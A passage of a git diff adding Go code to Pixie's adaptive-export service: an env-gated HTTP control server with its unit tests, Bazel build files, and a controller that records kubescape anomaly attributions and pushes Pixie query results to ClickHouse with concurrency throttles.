string { return c.userAgent } + +type Pixie interface { + APIKey() string + ClusterID() string + Host() string + validate() error +} + +type pixie struct { + apiKey string + clusterID string + host string +} + +func (p *pixie) validate() error { + if p.apiKey == "" { + return fmt.Errorf("missing required env variable '%s'", envPixieAPIKey) + } + if p.clusterID == "" { + return fmt.Errorf("missing required env variable '%s'", envPixieClusterID) + } + return nil +} + +func (p *pixie) APIKey() string { + return p.apiKey +} + +func (p *pixie) ClusterID() string { + return p.clusterID +} + +func (p *pixie) Host() string { + return p.host +} + +type Worker interface { + ClusterName() string + PixieClusterID() string + CollectInterval() int64 + DetectionInterval() int64 + DetectionLookback() int64 + ExportMode() string + ExportQuietTicks() int64 + validate() error +} + +type worker struct { + clusterName string + pixieClusterID string + collectInterval int64 + detectionInterval int64 + detectionLookback int64 + exportMode string + exportQuietTicks int64 +} + +func (a *worker) validate() error { + if a.clusterName == "" { + return fmt.Errorf("missing required env variable '%s'", envClusterName) + } + return nil +} + +func (a *worker) ClusterName() string { return a.clusterName } +func (a *worker) PixieClusterID() string { return a.pixieClusterID } +func (a *worker) CollectInterval() int64 { return a.collectInterval } +func (a *worker) DetectionInterval() int64 { return a.detectionInterval } +func (a *worker) DetectionLookback() int64 { return a.detectionLookback } +func (a *worker) ExportMode() string { return a.exportMode } +func (a *worker) ExportQuietTicks() int64 { return a.exportQuietTicks } diff --git a/src/vizier/services/adaptive_export/internal/control/BUILD.bazel b/src/vizier/services/adaptive_export/internal/control/BUILD.bazel new file mode 100644 index 00000000000..df247211840 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/control/BUILD.bazel @@ -0,0 +1,39 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "control", + srcs = ["server.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/control", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/activeset", + "//src/vizier/services/adaptive_export/internal/anomaly", + ], +) + +pl_go_test( + name = "control_test", + srcs = ["server_test.go"], + embed = [":control"], + deps = [ + "//src/vizier/services/adaptive_export/internal/activeset", + "//src/vizier/services/adaptive_export/internal/anomaly", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/control/server.go b/src/vizier/services/adaptive_export/internal/control/server.go new file mode 100644 index 00000000000..f43132bfae3 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/control/server.go @@ -0,0 +1,159 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package control is the external control surface. It lets the controller +// (the diagnostician) steer this AE (the hands): start/stop exporting a +// target, and order a specific (table, window) query. AE's existing +// kubescape-trigger → controller → activeSet flow is untouched; this is an +// additional, env-gated driver of the same activeSet. Off unless +// CONTROL_ADDR is set. +// +// The handlers depend on narrow interfaces (exporter, queryRunner) — not on +// the concrete Controller — so the package is unit-testable with fakes and so +// the blast radius on AE is a single wiring line in main.go. +package control + +import ( + "encoding/json" + "net/http" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +// exporter is the slice of *activeset.ActiveSet this package needs: the controller +// decides membership, AE's streaming/controller acts on the deltas. +type exporter interface { + Upsert(k activeset.Key, tEnd time.Time) + Remove(k activeset.Key) +} + +// queryRunner executes one controller-ordered (table, target, window) query and +// writes the result through AE's normal sink. The query_id is carried so +// exported rows can be flagged provisional→confirmed/benign_retire (audit). +type queryRunner interface { + OrderQuery(target anomaly.Target, table string, start, end time.Time, queryID string) error +} + +// Server is the control HTTP surface. +type Server struct { + set exporter + runner queryRunner // may be nil; /query then returns 501 + mux *http.ServeMux +} + +// New builds the control server. runner may be nil for deployments that +// only need start/stop (no operator-side one-shot queries). +func New(set exporter, runner queryRunner) *Server { + s := &Server{set: set, runner: runner, mux: http.NewServeMux()} + s.mux.HandleFunc("/healthz", s.handleHealth) + s.mux.HandleFunc("/export/start", s.handleStart) + s.mux.HandleFunc("/export/stop", s.handleStop) + s.mux.HandleFunc("/query", s.handleQuery) + return s +} + +// Handler exposes the mux (for httptest + main.go wiring). +func (s *Server) Handler() http.Handler { return s.mux } + +// ── wire types ──────────────────────────────────────────────────────── +type targetReq struct { + Namespace string `json:"namespace"` + Pod string `json:"pod"` + Comm string `json:"comm"` +} + +type startReq struct { + targetReq + TEnd int64 `json:"t_end"` // unix seconds +} + +type queryReq struct { + targetReq + Table string `json:"table"` + Window [2]int64 `json:"window"` // [start,end] unix seconds + QueryID string `json:"query_id"` +} + +func (t targetReq) key() activeset.Key { + return activeset.Key{Namespace: t.Namespace, Pod: t.Pod} +} + +func (t targetReq) target() anomaly.Target { + return anomaly.Target{Comm: t.Comm, Pod: t.Pod, Namespace: t.Namespace} +} + +func decode(r *http.Request, v any) bool { + defer r.Body.Close() + return json.NewDecoder(r.Body).Decode(v) == nil +} + +// ── handlers ────────────────────────────────────────────────────────── +func (s *Server) handleHealth(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusOK) +} + +func (s *Server) handleStart(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + w.WriteHeader(http.StatusMethodNotAllowed) + return + } + var req startReq + if !decode(r, &req) || req.Pod == "" { + w.WriteHeader(http.StatusBadRequest) + return + } + s.set.Upsert(req.key(), time.Unix(req.TEnd, 0)) + w.WriteHeader(http.StatusAccepted) +} + +func (s *Server) handleStop(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + w.WriteHeader(http.StatusMethodNotAllowed) + return + } + var req targetReq + if !decode(r, &req) || req.Pod == "" { + w.WriteHeader(http.StatusBadRequest) + return + } + s.set.Remove(req.key()) + w.WriteHeader(http.StatusAccepted) +} + +func (s *Server) handleQuery(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + w.WriteHeader(http.StatusMethodNotAllowed) + return + } + if s.runner == nil { + w.WriteHeader(http.StatusNotImplemented) + return + } + var req queryReq + if !decode(r, &req) || req.Pod == "" || req.Table == "" || req.QueryID == "" { + w.WriteHeader(http.StatusBadRequest) + return + } + err := s.runner.OrderQuery(req.target(), req.Table, + time.Unix(req.Window[0], 0), time.Unix(req.Window[1], 0), req.QueryID) + if err != nil { + w.WriteHeader(http.StatusBadGateway) + return + } + w.WriteHeader(http.StatusAccepted) +} diff --git a/src/vizier/services/adaptive_export/internal/control/server_test.go b/src/vizier/services/adaptive_export/internal/control/server_test.go new file mode 100644 index 00000000000..eec1877d071 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/control/server_test.go @@ -0,0 +1,159 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package control + +import ( + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" +) + +// fakeExporter records Upsert/Remove calls (the controller → activeSet contract). +type fakeExporter struct { + upserts []activeset.Key + removes []activeset.Key + lastEnd time.Time +} + +func (f *fakeExporter) Upsert(k activeset.Key, tEnd time.Time) { + f.upserts = append(f.upserts, k) + f.lastEnd = tEnd +} +func (f *fakeExporter) Remove(k activeset.Key) { f.removes = append(f.removes, k) } + +// fakeRunner records OrderQuery calls; err controls the failure path. +type fakeRunner struct { + calls []string // "table|ns/pod|queryID" + err error +} + +func (f *fakeRunner) OrderQuery(t anomaly.Target, table string, start, end time.Time, qid string) error { + f.calls = append(f.calls, table+"|"+t.Namespace+"/"+t.Pod+"|"+qid) + return f.err +} + +func do(t *testing.T, srv *Server, method, path, body string) *http.Response { + t.Helper() + req := httptest.NewRequest(method, path, strings.NewReader(body)) + w := httptest.NewRecorder() + srv.Handler().ServeHTTP(w, req) + return w.Result() +} + +func TestStartExportUpserts(t *testing.T) { + ex := &fakeExporter{} + srv := New(ex, nil) + resp := do(t, srv, http.MethodPost, "/export/start", + `{"namespace":"log4j-poc","pod":"chain-backend-abc","comm":"sh","t_end":1717200600}`) + if resp.StatusCode != http.StatusAccepted { + t.Fatalf("status = %d, want 202", resp.StatusCode) + } + if len(ex.upserts) != 1 || ex.upserts[0].Pod != "chain-backend-abc" || + ex.upserts[0].Namespace != "log4j-poc" { + t.Fatalf("upsert = %+v, want one for log4j-poc/chain-backend-abc", ex.upserts) + } + if ex.lastEnd != time.Unix(1717200600, 0) { + t.Fatalf("tEnd = %v, want 1717200600", ex.lastEnd) + } +} + +func TestStopExportRemoves(t *testing.T) { + ex := &fakeExporter{} + srv := New(ex, nil) + resp := do(t, srv, http.MethodPost, "/export/stop", + `{"namespace":"log4j-poc","pod":"chain-backend-abc"}`) + if resp.StatusCode != http.StatusAccepted { + t.Fatalf("status = %d, want 202", resp.StatusCode) + } + if len(ex.removes) != 1 || ex.removes[0].Pod != "chain-backend-abc" { + t.Fatalf("remove = %+v, want one for chain-backend-abc", ex.removes) + } +} + +func TestOrderQueryRunsAndCarriesID(t *testing.T) { + ex := &fakeExporter{} + rn := &fakeRunner{} + srv := New(ex, rn) + resp := do(t, srv, http.MethodPost, "/query", + `{"namespace":"log4j-poc","pod":"p","comm":"sh","table":"conn_stats","window":[100,200],"query_id":"log4j-poc:p:conn_stats:100-200"}`) + if resp.StatusCode != http.StatusAccepted { + t.Fatalf("status = %d, want 202", resp.StatusCode) + } + if len(rn.calls) != 1 || rn.calls[0] != "conn_stats|log4j-poc/p|log4j-poc:p:conn_stats:100-200" { + t.Fatalf("calls = %v", rn.calls) + } +} + +func TestQueryWithoutRunnerIs501(t *testing.T) { + srv := New(&fakeExporter{}, nil) // no runner wired + resp := do(t, srv, http.MethodPost, "/query", + `{"namespace":"n","pod":"p","table":"conn_stats","window":[1,2],"query_id":"x"}`) + if resp.StatusCode != http.StatusNotImplemented { + t.Fatalf("status = %d, want 501", resp.StatusCode) + } +} + +func TestBadInputRejected(t *testing.T) { + srv := New(&fakeExporter{}, &fakeRunner{}) + // missing pod + if r := do(t, srv, http.MethodPost, "/export/start", `{"namespace":"n"}`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("start no-pod = %d, want 400", r.StatusCode) + } + // malformed json + if r := do(t, srv, http.MethodPost, "/export/stop", `{not json`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("stop bad-json = %d, want 400", r.StatusCode) + } + // query missing table + if r := do(t, srv, http.MethodPost, "/query", `{"pod":"p","query_id":"x","window":[1,2]}`); r.StatusCode != http.StatusBadRequest { + t.Fatalf("query no-table = %d, want 400", r.StatusCode) + } +} + +func TestWrongMethodRejected(t *testing.T) { + srv := New(&fakeExporter{}, &fakeRunner{}) + if r := do(t, srv, http.MethodGet, "/export/start", ``); r.StatusCode != http.StatusMethodNotAllowed { + t.Fatalf("GET start = %d, want 405", r.StatusCode) + } +} + +func TestRunnerErrorIsBadGateway(t *testing.T) { + rn := &fakeRunner{err: errFake} + srv := New(&fakeExporter{}, rn) + r := do(t, srv, http.MethodPost, "/query", + `{"namespace":"n","pod":"p","table":"conn_stats","window":[1,2],"query_id":"x"}`) + if r.StatusCode != http.StatusBadGateway { + t.Fatalf("runner-error = %d, want 502", r.StatusCode) + } +} + +func TestHealthz(t *testing.T) { + srv := New(&fakeExporter{}, nil) + if r := do(t, srv, http.MethodGet, "/healthz", ``); r.StatusCode != http.StatusOK { + t.Fatalf("healthz = %d, want 200", r.StatusCode) + } +} + +type fakeErr struct{} + +func (fakeErr) Error() string { return "boom" } + +var errFake = fakeErr{} diff --git a/src/vizier/services/adaptive_export/internal/controller/BUILD.bazel b/src/vizier/services/adaptive_export/internal/controller/BUILD.bazel new file mode 100644 index 00000000000..62950ba26fa --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/controller/BUILD.bazel @@ -0,0 +1,43 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "controller", + srcs = ["controller.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/controller", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + "//src/vizier/services/adaptive_export/internal/kubescape", + "//src/vizier/services/adaptive_export/internal/pxl", + "//src/vizier/services/adaptive_export/internal/sink", + "@com_github_sirupsen_logrus//:logrus", + ], +) + +pl_go_test( + name = "controller_test", + srcs = ["controller_test.go"], + embed = [":controller"], + deps = [ + "//src/vizier/services/adaptive_export/internal/anomaly", + "//src/vizier/services/adaptive_export/internal/kubescape", + "//src/vizier/services/adaptive_export/internal/sink", + ], +) diff --git a/src/vizier/services/adaptive_export/internal/controller/controller.go b/src/vizier/services/adaptive_export/internal/controller/controller.go new file mode 100644 index 00000000000..979f99fe4b9 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/controller/controller.go @@ -0,0 +1,693 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package controller orchestrates the adaptive-write push flow on a +// single node: +// +// 1. Subscribe to a Trigger that produces kubescape.Event values. +// 2. For each event, derive the workload anomaly.Target + AnomalyHash, +// look up the in-memory active set for this hostname, and either +// open a new active row or extend an existing one (t_end ← now+after). +// 3. Persist the resulting AttributionRow to ClickHouse via Sink. +// +// The controller does NOT execute PxL itself, does NOT write pixie +// observation rows, and does NOT manage retention scripts. Pixie's +// retention plugin (driven by user-defined PxL scripts in the UI) +// owns those concerns. Operator's only output is forensic_db.adaptive_attribution. +package controller + +import ( + "context" + "sync" + "time" + + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/pxl" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink" +) + +// Trigger is the source of new kubescape events. +type Trigger interface { + Subscribe(ctx context.Context) (<-chan kubescape.Event, error) +} + +// Sink writes attribution rows to ClickHouse and, on boot, can fetch +// still-active rows so the controller can rehydrate after a crash. +// WritePixieRows is the rev-1 fallback path for environments where +// the cloud's retention plugin can't reach the in-cluster CH (so the +// operator queries pixie itself and pushes rows directly). +type Sink interface { + Write(ctx context.Context, rows []sink.AttributionRow) error + QueryActive(ctx context.Context, hostname string) ([]sink.AttributionRow, error) + WritePixieRows(ctx context.Context, table string, rows []map[string]any) error +} + +// PixieQuerier is the rev-1 path's executor: take a PxL string and +// return the resulting rows. nil disables operator-side pixie pushes +// (rev-2 default — the cloud's plugin handles it). +type PixieQuerier interface { + Query(ctx context.Context, pxl string) ([]map[string]any, error) +} + +// Clock abstracts time for tests. +type Clock interface { + Now() time.Time +} + +// RealClock is the production Clock. +type RealClock struct{} + +// Now returns time.Now(). +func (RealClock) Now() time.Time { return time.Now() } + +// Config tunes the controller. Zero values fall through to safe defaults. +type Config struct { + // Hostname is the node-local key. REQUIRED. + Hostname string + + // Before / After form the time window: t_start = event_time - Before, + // t_end = max(t_end, now + After). Both default to 5 min. + Before time.Duration + After time.Duration + + // PushPixieTables, when non-empty alongside a non-nil Pixie querier, + // makes the controller query pixie for every named table on each + // fresh anomaly window and push the result directly to + // forensic_db.
. Used in environments where the cloud's + // retention plugin can't reach the in-cluster CH service. + PushPixieTables []string + + // PushRefreshInterval — how often pushPixieRows re-queries pixie + // while the attribution window is still active. The first query + // covers [t_start, now]; subsequent queries cover only the new + // per-table slice [last_upper[table], now] so we don't duplicate + // rows. Zero (the natural Go default for unset env vars) is + // rewritten to 30s in defaulted(). To DISABLE periodic re-fan-out + // (single-shot mode, which loses pixie traffic that arrives after + // the kubescape event) set this to a NEGATIVE duration — pick -1 + // to be unambiguous. + PushRefreshInterval time.Duration + + // === Throughput-protection knobs === + // + // At high anomaly rates (many concurrent active hashes), the default + // pushPixieRows behavior — N parallel PxL queries per hash, no + // global cap — can DoS the vizier-query-broker (observed: 90% of + // queries DeadlineExceeded at 180s under 4× sweep load). The three + // knobs below are independent throttles; all default to 0 (= legacy + // unbounded behavior preserved). + // + // MaxParallelQueriesPerHash caps concurrent goroutines INSIDE one + // pushPixieRows pass. 0 = no cap (current). Recommended 3-5 for + // load-protective deployments. + MaxParallelQueriesPerHash int + + // MaxInflightQueriesGlobal caps concurrent PxL queries across all + // pushPixieRows goroutines (every hash). 0 = no cap (current). + // Recommended 20-50 — sized to broker capacity. + MaxInflightQueriesGlobal int + + // EmptyResultSkipAfterN: after this many consecutive 0-row returns + // for the same (pod, table) pair, skip that pair on subsequent + // passes for EmptyResultSkipTTL. 0 = disabled (current). A pgsql + // pod that never speaks HTTP returns 0 on every http_events + // query; skipping eliminates that waste. + EmptyResultSkipAfterN int + + // EmptyResultSkipTTL controls how long a (pod, table) stays in the + // negative cache. 0 = disabled (current). When the TTL expires the + // pair is retried, so a pod that newly starts a protocol + // self-heals within at most TTL seconds. + EmptyResultSkipTTL time.Duration + + // OnAttribution, when non-nil, is called for every event after + // the attribution row has been computed (whether the row is new + // or an extension). The rev-3 streaming path uses this to feed + // its ActiveSet without touching controller internals. + // + // Contract: + // - Called from controller.handle's goroutine. + // - Synchronous; do NOT block. Callbacks that need to do work + // should hand off to a goroutine + buffered channel internally. + // - tEnd is the post-event t_end (= now + After for new rows, + // or the extended value for existing ones). + OnAttribution func(namespace, pod string, tEnd time.Time) + + // OnPrune, when non-nil, is called for each hash evicted by + // PruneExpired with the (namespace, pod) of the evicted row. + // Used by the rev-3 streaming path to shrink its ActiveSet. + // Same contract as OnAttribution: synchronous, non-blocking. + OnPrune func(namespace, pod string) +} + +func (c *Config) defaulted() Config { + out := *c + if out.Before == 0 { + out.Before = 5 * time.Minute + } + if out.After == 0 { + out.After = 5 * time.Minute + } + // Zero → fall through to the 30s default. NEGATIVE values are + // preserved so callers can explicitly request single-shot mode + // (see PushRefreshInterval doc above). + if out.PushRefreshInterval == 0 { + out.PushRefreshInterval = 30 * time.Second + } + return out +} + +// Controller is the live orchestrator. One instance per operator process. +type Controller struct { + trig Trigger + sink Sink + clock Clock + cfg Config + querier PixieQuerier // nil disables operator-side pixie pushes + + mu sync.Mutex + active map[anomaly.AnomalyHash]*sink.AttributionRow + // inFlight tracks hashes whose pushPixieRows goroutine is currently + // running. handle() re-launches the goroutine when the previous one + // has exited (window expired between bursts), so a hash that already + // exists in `active` but is no longer being actively fanned-out + // gets refreshed protocol-table writes on the next alert. Without + // this, the goroutine only spawns on the very first event for a + // hash and subsequent bursts silently stop populating per-table + // rows even though attribution keeps updating in CH. + inFlight map[anomaly.AnomalyHash]bool + + // globalSem is the buffered channel that implements the + // MaxInflightQueriesGlobal throttle. nil → no global cap. + globalSem chan struct{} + + // emptyCacheMu guards emptyStreak and emptySkipUntil. Both are keyed + // by "ns|pod|table" — namespace must be part of the key, otherwise + // same-named pods in different namespaces share suppression state. + emptyCacheMu sync.Mutex + emptyStreak map[string]int // consecutive 0-row returns + emptySkipUntil map[string]time.Time // skip this (ns,pod,table) until this time +} + +// New wires a Controller. nil clock falls through to RealClock. +// nil querier disables the rev-1 push path (controller will only +// write attribution rows; expects cloud's retention plugin to write +// pixie tables). +func New(trig Trigger, snk Sink, cfg Config, clk Clock) *Controller { + if clk == nil { + clk = RealClock{} + } + defaulted := cfg.defaulted() + c := &Controller{ + trig: trig, + sink: snk, + clock: clk, + cfg: defaulted, + active: map[anomaly.AnomalyHash]*sink.AttributionRow{}, + inFlight: map[anomaly.AnomalyHash]bool{}, + emptyStreak: map[string]int{}, + emptySkipUntil: map[string]time.Time{}, + } + if defaulted.MaxInflightQueriesGlobal > 0 { + c.globalSem = make(chan struct{}, defaulted.MaxInflightQueriesGlobal) + } + return c +} + +// WithPixieQuerier wires the rev-1 path. Returns the receiver for +// chaining. Idempotent — call before Run. +func (c *Controller) WithPixieQuerier(q PixieQuerier) *Controller { + c.querier = q + return c +} + +// Rehydrate populates the in-memory active set from ClickHouse so a +// restarted operator picks up where it left off. Idempotent. Call +// once at boot before Run. +func (c *Controller) Rehydrate(ctx context.Context) error { + rows, err := c.sink.QueryActive(ctx, c.cfg.Hostname) + if err != nil { + return err + } + c.mu.Lock() + defer c.mu.Unlock() + for i := range rows { + row := rows[i] + c.active[row.AnomalyHash] = &row + } + log.WithField("rehydrated", len(rows)).Info("controller: active set restored") + return nil +} + +// Run subscribes to the trigger and processes events until ctx is +// cancelled or the trigger closes its channel. Returns ctx.Err() on +// cancellation or nil on graceful trigger shutdown. +func (c *Controller) Run(ctx context.Context) error { + ch, err := c.trig.Subscribe(ctx) + if err != nil { + return err + } + for { + select { + case <-ctx.Done(): + return ctx.Err() + case ev, ok := <-ch: + if !ok { + return nil + } + c.handle(ctx, ev) + } + } +} + +// handle processes one event: open or extend the attribution row, +// then persist to ClickHouse. Errors from Sink.Write are logged but +// not fatal — system stability rule. +func (c *Controller) handle(ctx context.Context, ev kubescape.Event) { + hash := anomaly.Hash(ev.Target) + now := c.clock.Now() + tEvent := eventTimeToTime(ev.EventTime) + + c.mu.Lock() + row, exists := c.active[hash] + if !exists { + row = &sink.AttributionRow{ + AnomalyHash: hash, + Namespace: ev.Target.Namespace, + Pod: ev.Target.Pod, + Comm: ev.Target.Comm, + PID: ev.Target.PID, + Hostname: c.cfg.Hostname, + TStart: tEvent.Add(-c.cfg.Before), + TEnd: now.Add(c.cfg.After), + LastSeen: tEvent, + LastRuleID: ev.RuleID, + NAnomalies: 1, + } + c.active[hash] = row + } else { + // Extend t_end if the new now+after is later. Never shrink. + if proposed := now.Add(c.cfg.After); proposed.After(row.TEnd) { + row.TEnd = proposed + } + // Update last_seen if this event's timestamp is more recent. + if tEvent.After(row.LastSeen) { + row.LastSeen = tEvent + } + row.LastRuleID = ev.RuleID + row.NAnomalies++ + } + snapshot := *row + // Decide AND mark inFlight under the same mutex acquisition so two + // rapid events for the same hash can't both decide to spawn. + spawn := c.querier != nil && len(c.cfg.PushPixieTables) > 0 && !c.inFlight[hash] + if spawn { + c.inFlight[hash] = true + } + c.mu.Unlock() + + if err := c.sink.Write(ctx, []sink.AttributionRow{snapshot}); err != nil { + log.WithError(err).Warn("controller: sink write failed") + } + if c.cfg.OnAttribution != nil { + c.cfg.OnAttribution(snapshot.Namespace, snapshot.Pod, snapshot.TEnd) + } + // Rev-1 path: query pixie for the [t_start, t_end) slice of every + // PushPixieTables table for this (namespace, pod) and write rows + // directly to CH. Done in a goroutine so the controller doesn't + // block on PxL execution (each query can take hundreds of ms; + // N tables sequentially would stall the trigger). Re-spawned on + // every event whose hash currently has no in-flight goroutine + // (covers both brand-new hashes and hashes whose previous + // pushPixieRows exited because the window had quieted down). + if spawn { + go func() { + defer func() { + c.mu.Lock() + delete(c.inFlight, hash) + c.mu.Unlock() + }() + c.pushPixieRows(ctx, snapshot) + }() + } +} + +// pushPixieRows fans out per-table PxL queries and writes the results +// to forensic_db.
. One goroutine per anomaly window. The first +// pass covers [t_start, now]; subsequent passes (every +// PushRefreshInterval) cover only the new slice [last_upper, now] so +// pixie traffic that arrives AFTER the initial kubescape event still +// makes it into CH. Loop exits when the (possibly extended) t_end is +// in the past or ctx is cancelled. All failures are logged + non-fatal. +func (c *Controller) pushPixieRows(ctx context.Context, initial sink.AttributionRow) { + target := anomaly.Target{ + PID: initial.PID, + Comm: initial.Comm, + Pod: initial.Pod, + Namespace: initial.Namespace, + } + log.WithFields(log.Fields{ + "hash": initial.AnomalyHash, + "pod": initial.Pod, + "comm": initial.Comm, + "tables": len(c.cfg.PushPixieTables), + "refresh": c.cfg.PushRefreshInterval, + "t_start": initial.TStart, + "t_end": initial.TEnd, + }).Info("pushPixieRows: starting fan-out") + + // Per-table watermark of pixie data we've already pulled for THIS + // hash. We advance a table's cursor only after BOTH the query AND + // the sink-write succeed; failures keep the cursor in place so the + // next pass retries the same slice instead of dropping it. + lastUpper := make(map[string]time.Time, len(c.cfg.PushPixieTables)) + for _, t := range c.cfg.PushPixieTables { + lastUpper[t] = initial.TStart + } + pass := 0 + for { + if ctx.Err() != nil { + return + } + // Re-snapshot the active row each iteration so we pick up t_end + // extensions from concurrent kubescape events (extending the + // window beyond the initial t_end). COPY the row out of the + // shared pointer before releasing the mutex — handle() mutates + // the same struct, so reading TEnd after Unlock would race. + c.mu.Lock() + live, exists := c.active[initial.AnomalyHash] + var current sink.AttributionRow + if exists { + current = *live + } + c.mu.Unlock() + if !exists { + log.WithField("hash", initial.AnomalyHash). + Info("pushPixieRows: window closed (active entry gone)") + return + } + now := c.clock.Now() + if !current.TEnd.After(now) { + log.WithFields(log.Fields{ + "hash": initial.AnomalyHash, + "t_end": current.TEnd, + }).Info("pushPixieRows: fan-out complete (window expired)") + return + } + + pass++ + // Fan out the per-table PxL queries IN PARALLEL. The serial + // rev-1 loop spent 1.5-5s per refresh waiting for the 9 tables + // that return 0 rows for this pod (a redis-server pod only ever + // has data in redis_events; the other 9 queries are pure + // latency tax). Parallel cuts the per-pass wall time to roughly + // max(query_time) instead of sum(query_times). Each goroutine + // runs an independent Pixie RPC; the cloud's PassThroughProxy + // fans them across vizier-query-broker fine in our measurements + // (10 simultaneous in-flight queries → ~250-700ms wall vs + // ~3-5s serial). + type tableResult struct { + table string + sliceEnd time.Time + rows int + err error + } + results := make(chan tableResult, len(c.cfg.PushPixieTables)) + var wg sync.WaitGroup + // Per-hash concurrency limiter (knob #1: MaxParallelQueriesPerHash). + // nil → unbounded (legacy behavior preserved). + var perHashSem chan struct{} + if c.cfg.MaxParallelQueriesPerHash > 0 { + perHashSem = make(chan struct{}, c.cfg.MaxParallelQueriesPerHash) + } + for _, table := range c.cfg.PushPixieTables { + if ctx.Err() != nil { + break + } + // Knob #3: negative-cache skip. Pods that have returned 0 + // rows for this table N times in a row are skipped for TTL. + // Self-heals when TTL expires. + if c.shouldSkipEmpty(initial.Namespace, initial.Pod, table) { + continue + } + sliceStart := lastUpper[table] + sliceEnd := now + if !sliceEnd.After(sliceStart) { + continue // tiny / inverted slice — skip + } + q, err := pxl.QueryFor(table, target, sliceStart, sliceEnd, now) + if err != nil { + log.WithError(err).WithField("table", table).Warn("controller: QueryFor") + continue + } + wg.Add(1) + go func(table, q string, sliceEnd time.Time) { + defer wg.Done() + // Acquire per-hash slot, then optional global slot. + // Order matters: per-hash is cheap and local; global + // gates network. Releasing in reverse order avoids the + // pathological case where a stuck global slot pins a + // per-hash slot for an unrelated table. + if perHashSem != nil { + select { + case perHashSem <- struct{}{}: + case <-ctx.Done(): + results <- tableResult{table: table, err: ctx.Err()} + return + } + defer func() { <-perHashSem }() + } + if c.globalSem != nil { + select { + case c.globalSem <- struct{}{}: + case <-ctx.Done(): + results <- tableResult{table: table, err: ctx.Err()} + return + } + defer func() { <-c.globalSem }() + } + qctx, cancel := context.WithTimeout(ctx, 180*time.Second) + rows, qerr := c.querier.Query(qctx, q) + cancel() + if qerr != nil { + results <- tableResult{table: table, err: qerr} + return + } + // Update negative cache: 0 rows bumps streak, ≥1 row resets. + c.noteQueryResult(initial.Namespace, initial.Pod, table, len(rows)) + nrows := len(rows) + if nrows > 0 { + // Bound the sink write with its own timeout. Without + // this, a stalled CH HTTP write would hold the table + // goroutine forever, wg.Wait() would block the entire + // pass, and refreshes for the active window would stop + // — symptoms documented in our session as "fan-out + // started, no error, no push" rows in the operator log. + wctx, wcancel := context.WithTimeout(ctx, 60*time.Second) + werr := c.sink.WritePixieRows(wctx, table, rows) + wcancel() + if werr != nil { + results <- tableResult{table: table, err: werr} + return + } + log.WithFields(log.Fields{ + "table": table, + "rows": nrows, + 